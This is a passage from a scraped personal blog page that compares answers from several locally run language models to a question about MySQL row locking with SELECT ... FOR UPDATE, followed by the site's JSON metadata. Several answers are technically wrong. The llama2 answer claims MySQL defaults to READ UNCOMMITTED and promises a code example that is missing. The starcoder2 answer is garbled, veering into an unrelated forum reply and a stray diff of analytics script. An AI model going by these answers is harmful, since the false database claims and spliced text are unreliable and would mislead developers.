 and the time of release lock</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-d47a618fcf904bc495576424452366d4" data-id="d47a618fcf904bc495576424452366d4"><span><div id="d47a618fcf904bc495576424452366d4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d47a618fcf904bc495576424452366d4" title="openai:3.5"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">openai:3.5</span></span></h3><div class="notion-text notion-block-3b8b9cc19b384a3eab5a56578873df3e">When you run a query like <code class="notion-inline-code">SELECT * FROM t WHERE c=5 FOR UPDATE;</code> in MySQL on a column <code class="notion-inline-code">c</code> that is not indexed, MySQL will perform a full table scan to find the rows that match the condition <code class="notion-inline-code">c=5</code>. During this process, MySQL will acquire a shared lock on all the rows it reads to prevent other transactions from modifying them.</div><div class="notion-text notion-block-74300add803e4d7c8304a821a5d5ab2c">Here is the general process of locking and the time of releasing the lock:</div><ol start="1" class="notion-list notion-list-numbered notion-block-8976a6ea02cb4bf3a518053203e7e9c1"><li><b>Shared (Read) Lock</b>: MySQL will acquire a shared (read) lock on the rows that match the condition <code class="notion-inline-code">c=5</code>. This lock allows other transactions to read the locked rows but prevents them from modifying them.</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-f5d8c5c41f5d4a4d8fd85c30e378c422"><li><b>Exclusive (Write) Lock</b>: When you use <code class="notion-inline-code">FOR UPDATE</code> in your query, MySQL will upgrade the shared lock to an exclusive (write) lock on the matched rows. This exclusive lock prevents other transactions from both reading and writing to the locked rows until the transaction is either committed or rolled back.</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-a97f0ddea2f14dfa8a56f27c4f9396fb"><li><b>Time of Releasing Lock</b>: The lock acquired using <code class="notion-inline-code">FOR UPDATE</code> will be released when the current transaction is either committed or rolled back. If the transaction is rolled back, the lock will be released immediately. If the transaction is committed, the exclusive locks will be released at the end of the transaction.</li></ol><div class="notion-text notion-block-eb3dc7f44bfd454fb935cde5ab908c41">It&#x27;s important to note that locking behavior can vary depending on the isolation level of the transaction and the specific MySQL configuration settings. Additionally, using <code class="notion-inline-code">FOR UPDATE</code> without an index on the column can lead to performance issues, especially on large tables, as it may result in full table scans and increased locking contention. Consider adding an index on column <code class="notion-inline-code">c</code> if this query is frequently used for better performance.</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-c713c08c2d0b4eb1881771fec58212ef" data-id="c713c08c2d0b4eb1881771fec58212ef"><span><div id="c713c08c2d0b4eb1881771fec58212ef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c713c08c2d0b4eb1881771fec58212ef" title="mistral:7b"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">mistral:7b</span></span></h3><div class="notion-text notion-block-bbe523e153a145deaf5803a940f59e85">Based on your SQL query <code class="notion-inline-code">SELECT * FROM t WHERE c = 5 FOR UPDATE</code>, it seems you are working with MySQL or a similar database management system. In this context, let&#x27;s discuss the process of obtaining and releasing locks in relation to this query.</div><div class="notion-text notion-block-4bcc27a38629411bbe7a75aea797e1ed">When you execute the query <code class="notion-inline-code">SELECT * FROM t WHERE c = 5 FOR UPDATE</code>, the database engine acquires a lock on the record(s) with column &#x27;c&#x27; equal to 5, preventing other transactions from reading or updating those records until the current transaction is committed or rolled back. This process ensures data consistency and concurrency control.</div><div class="notion-text notion-block-9a6f775903314d6095e2dc10c6cb87bd">The actual time of obtaining a lock depends on various factors such as network latency, server workload, and database configuration. Generally, it&#x27;s considered to be an instantaneous operation once the query execution reaches that point. However, keep in mind that the actual query processing time and network transfer time might add significant delay.</div><div class="notion-text notion-block-da1b112d857e4b6fbf49b7f5208b24e4">As for releasing the lock, it happens automatically when the current transaction is committed or rolled back. Once the transaction has been finalized, the database engine releases the locks on the corresponding records, making them available to other transactions again.</div><div class="notion-text notion-block-87c6e6a2d2e34a188637efe4abd4560f">Here&#x27;s a simplified overview of the process:</div><ol start="1" class="notion-list notion-list-numbered notion-block-2c28bfdeeb254e7aa2c13c12dcb72f28"><li>The query <code class="notion-inline-code">SELECT * FROM t WHERE c = 5 FOR UPDATE</code> is executed.</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-9a7a68973dfa4aa89636234b3c0b6548"><li>The database engine locates the record(s) with &#x27;c&#x27; equal to 5 and acquires a lock on them.</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-58fecf876dcf43dba9c7538f413796f7"><li>Once the query has finished processing those records, the transaction is committed or rolled back.</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-68f363f2b18342809abbeab957c3db38"><li>If the transaction is committed, the locks are released and made available for other transactions.</li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-412d0b21bcfe40d48fb7a69d9bdb7c91"><li>If the transaction is rolled back, the locks are also released but any changes made during the transaction are discarded.</li></ol><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-7e5fed0f7e6c4eb0957baf7e801e764e" data-id="7e5fed0f7e6c4eb0957baf7e801e764e"><span><div id="7e5fed0f7e6c4eb0957baf7e801e764e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7e5fed0f7e6c4eb0957baf7e801e764e" title="llama2:4b"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">llama2:4b</span></span></h3><div class="notion-text notion-block-f8a5c31eaaeb4215bece5545539ec80b">As a high-level software engineer, I&#x27;d be happy to help you with your question.</div><div class="notion-text notion-block-e2239195971a49858fac5b9ea90996c0">The query <code class="notion-inline-code">SELECT * FROM t WHERE c = 5 FOR UPDATE</code> is a common mechanism for acquiring a row-level lock on a table <code class="notion-inline-code">t</code> for the specified condition <code class="notion-inline-code">c = 5</code>. When this query is executed, it will acquire an exclusive lock on the rows that match the condition, preventing any other concurrent updates or reads from accessing those rows until the lock is released.</div><div class="notion-text notion-block-44061d98d405487ab2a4078279d3d999">The process of locking in this case involves the following steps:</div><ol start="1" class="notion-list notion-list-numbered notion-block-702ec273b84845ae9fab0e7e445b8470"><li>The query is executed and a lock is acquired on the relevant rows.</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-e8a8f50535494deda263991f5462efb2"><li>The lock is held by the thread that executed the query, preventing any other threads from acquiring the same lock until it is released.</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-42700ae9262740a29d1df9ed715ab0dc"><li>The lock is released when the thread that executed the query completes its work and no longer needs the lock.</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-a28dd66e5a774dfe815b474c1e36c0fb"><li>Other threads can then acquire the lock and update or read the rows that were previously locked.</li></ol><div class="notion-text notion-block-c48d061798e94c698225a3fc30c3d5b4">The time of release lock depends on various factors, including the operating system, hardware, and database configuration. In general, the lock is released when the thread that executed the query completes its work and no longer needs the lock. This can happen immediately after the query is executed, or it may take some time depending on the complexity of the task and the availability of resources.</div><div class="notion-text notion-block-97118fdd3e4d4a058d1fd4a942831683">In MySQL, the default isolation level is <code class="notion-inline-code">READ UNCOMMITTED</code>, which means that locks are acquired using the <code class="notion-inline-code">FOR UPDATE</code> clause. This allows other threads to read the rows while the first thread is updating them, but it does not guarantee that the second thread will see the updates made by the first thread before committing its changes.</div><div class="notion-text notion-block-29619cb810364c56ad1d44078669c26b">If you want to acquire a lock on a specific row or set of rows without using the <code class="notion-inline-code">FOR UPDATE</code> clause, you can use the <code class="notion-inline-code">LOCK TABLE</code> statement in MySQL. This statement allows you to acquire an exclusive lock on a table for a specified period of time, preventing any other threads from accessing the table during that time.</div><div class="notion-text notion-block-9b40075143424a08b4a4df5993d548f1">Here is an example of how to use <code class="notion-inline-code">LOCK TABLE</code> to acquire a lock on a specific row:</div><div class="notion-text notion-block-aac21867aa33403793e303b5f0ca84f9">This will acquire an exclusive lock on the row with <code class="notion-inline-code">id = 5</code> in the table <code class="notion-inline-code">t</code>, preventing any other threads from updating or reading that row until the lock is released.</div><div class="notion-text notion-block-2834c258d3b348ce9e958a21b18053f8">Note that the <code class="notion-inline-code">LOCK TABLE</code> statement can be used to acquire locks on multiple rows or tables, and it can also be used to acquire locks for longer periods of time than the default isolation level. However, it is important to use this statement judiciously and only when necessary to avoid contention and deadlocks.</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-6e0e38e977744f499fbb67e52a21593d" data-id="6e0e38e977744f499fbb67e52a21593d"><span><div id="6e0e38e977744f499fbb67e52a21593d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6e0e38e977744f499fbb67e52a21593d" title="starcoder2:15b"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">starcoder2:15b</span></span></h3><div class="notion-text notion-block-61c6bed736e143d5bdc1c281e9fcbdb2">thank youusername_1: You are looking for a tool called <a target="_blank" rel="noopener noreferrer" class="notion-link" href="http://visualvm.java.net/">VisualVM</a>. It is part of the JDK and it allows you to connect to running java applications and view their memory consumption, threads etc.
@@ -15,4 +15,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"e8fd9138-663d-415d-9684-24343fb3248f":{"value":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","version":842,"type":"page","content":["bc73e0a0-0940-4595-9732-ab9c28cd26a7","ba4103b9-8a3f-4c44-bda8-47b3722d4e15","e8405e22-2319-4ec0-93b3-5a799df21fc4","7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","2aa083b8-0726-4e50-bd4d-f857b5dd0316","45149c38-559d-414b-830f-c06c20da7dec","281bb727-bba8-4f6e-a1ff-b55b6f76b39c","b64c746d-9c8c-458e-9292-2e365dea363b","1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","db1102e6-f111-45af-96a4-db331284b95b","78995c5e-a842-4a30-b1a9-3a93f7b37307","5ea402bc-1e80-4e35-9b33-43c347bda5e7","90137cb7-47e4-42a8-bd95-3be130d612a0","5ed02535-d8e3-46f5-8efb-5e68003b6fec","426b70c6-f0fe-4849-b277-b986cc09a3eb","24e1ffff-e99e-4a8e-b080-f3948a289de8","0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","d52f61a6-9530-45cf-8e55-5822170d7448","5efbbd51-23a0-4cc2-b034-3da0b79430f7","3fee6369-f3e1-